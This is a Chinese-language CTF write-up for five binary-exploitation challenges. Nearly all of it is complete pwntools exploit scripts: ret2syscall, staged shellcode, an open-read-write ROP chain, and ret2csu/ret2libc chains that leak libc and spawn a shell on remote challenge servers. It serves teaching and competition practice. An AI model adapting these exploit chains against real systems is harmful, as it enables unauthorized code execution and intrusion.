目录
[4、no shell](#4、no shell)
1、Syscall
程序是静态链接的,就是打32位的ret2syscall
没有/bin/sh,我们系统调用read写入,然后再系统调用execve
Exp:
python
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
io = remote('8.147.134.121',20659)
#io=process('./pwn')
offset = 22
pop_eax = 0x080b438a
pop_ebx = 0x08049022
pop_ecx = 0x0804985a
pop_edx = 0x0804985c
int_0x80 = 0x08073a00
bss_addr = elf.bss()
read_addr = elf.symbols['read']
payload = cyclic(offset)+p32(pop_eax)+p32(0x3)+p32(pop_edx)+p32(0x20)+p32(pop_ecx)+p32(bss_addr)+p32(pop_ebx)+p32(0)+p32(int_0x80)+p32(pop_eax)+p32(0xb)+p32(pop_edx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_ebx)+p32(bss_addr)+p32(int_0x80)
io.sendlineafter("pwn it guys!\n",payload)
io.sendline('/bin/sh\x00')
io.interactive()

2、刻在栈里的秘密
利用FSB泄露栈上的内容

3、input_small_function
输入内容会被当做函数执行

Shellcode长度受限,我们二次读入即可
Exp:
python
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
HOST = '47.94.87.199'
PORT = 22583
io = remote(HOST, PORT)
# stage1: small read-then-jmp stub (<= 20 bytes)
stage1 = asm("""
xor rax, rax
xor rdi, rdi
mov esi, 0x00114514
mov edx, 0x100
syscall
jmp rsi
""")
assert len(stage1) <= 0x14
print("stage1 len:", len(stage1))
# stage2: full execve("/bin/sh", ["/bin/sh", NULL], NULL)
stage2 = asm("""
xor rax, rax
movabs rbx, 0x0068732f6e69622f /* "/bin/sh\x00" */
push rbx
mov rdi, rsp
xor rsi, rsi
push rsi
push rdi
mov rsi, rsp
xor rdx, rdx
mov al, 59
syscall
""")
print("stage2 len:", len(stage2))
io.recvuntil(b"please input a small function (also after compile)\n")
io.send(stage1)
sleep(0.05)
io.send(stage2)
io.interactive()

4、no shell
禁用了 execve

存在栈溢出,打orw

注意到一个比较奇怪的gadget,会将返回值复制到rdi

说几个需要注意的点吧,一个是新开的flag文件fd好像不是3
在本地直接给3可以打通,远程有点问题,因此借助上面提到的gadget

其次,文件名叫flag,不要被伪代码里的flag.txt误导了

Exp:
python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./pwn')
io = remote('47.94.87.199',30724)
io.sendlineafter('Do you want to say something?','y')
io.sendlineafter('leave or capture the flag?','2')
io.sendlineafter('your choice:','2')
io.sendlineafter('your choice:','1')
offset = 0x20 + 8
bss_addr = elf.bss()
pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
mov_rdi_rax_ret = 0x4013f9
open_plt = elf.plt['open']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
payload = b'A' * offset
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss_addr)
payload += p64(pop_rdx) + p64(0x20)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(open_plt)
payload += p64(mov_rdi_rax_ret)
payload += p64(pop_rsi) + p64(bss_addr)
payload += p64(pop_rdx) + p64(0x50)
payload += p64(read_plt)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(bss_addr)
payload += p64(pop_rdx) + p64(0x50)
payload += p64(write_plt)
io.sendlineafter('say something:', payload)
io.send(b"flag\x00")
io.interactive()

5、calc_beta
edit_numbers函数内存在越界写
当v3=0时,result = a1 -- 8
这个位置正好是edit_numbers函数的返回地址

因为gadget里面控制不了rdx,考虑打ret2csu
这里call的是r12,r13、r14、r15对应rdi、rsi、rdx

Exp:
python
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./calc')
io = remote('8.147.132.32',16814)
elf = ELF('./calc')
#gdb.attach(io)
#pause()
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
main_addr = 0x4010B4
pop_rdi = 0x401253
ret_addr = 0x4006b6
csu1 = 0x40124A
csu2 = 0x401230
def edit(idx,num):
io.sendlineafter('>','2')
io.sendlineafter('>',str(idx))
io.sendlineafter('>',str(num))
edit(1,0) #rbx=0
edit(2,1) #rbp=1
edit(3,write_got) #r12
edit(4,1) #r13=rdi
edit(5,write_got) #r14=rsi
edit(6,8) #r15=rdx
edit(7,csu2)
edit(8,1) # pop padding
edit(9,1)
edit(10,1)
edit(11,1)
edit(12,1)
edit(13,1)
edit(14,1)
edit(15,main_addr)
edit(0,csu1)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))
libc = ELF('./libc.so.6')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
edit(1,bin_sh_addr)
edit(2,ret_addr)
edit(3,system_addr)
edit(0,pop_rdi)
io.interactive()

其实我们还是可以控制rdx
注意到getnum函数内的read默认读取字节为0x90
完全够用了
Leak libc后返回到main函数就可以再次利用那个越界写的漏洞

Exp2:直接打ret2libc
python
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('8.147.132.32',16814)
elf = ELF('./pwn')
io.sendlineafter('>','2')
io.sendlineafter('>','0')
io.sendlineafter('>',str(0x40092a))
#gdb.attach(io)
#pause()
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
main_addr = 0x4010B4
pop_rdi = 0x401253
pop_rsi_r15 = 0x401251
ret_addr = 0x4006b6
bss_addr = elf.bss()
payload = p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt) + p64(ret_addr) + p64(main_addr)
io.sendline(payload)
write_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))
libc = ELF('./libc.so.6')
libc_base = write_addr - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))
io.sendlineafter('>','2')
io.sendlineafter('>','0')
io.sendlineafter('>',str(0x40092a))
payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)
io.sendline(payload)
io.interactive()
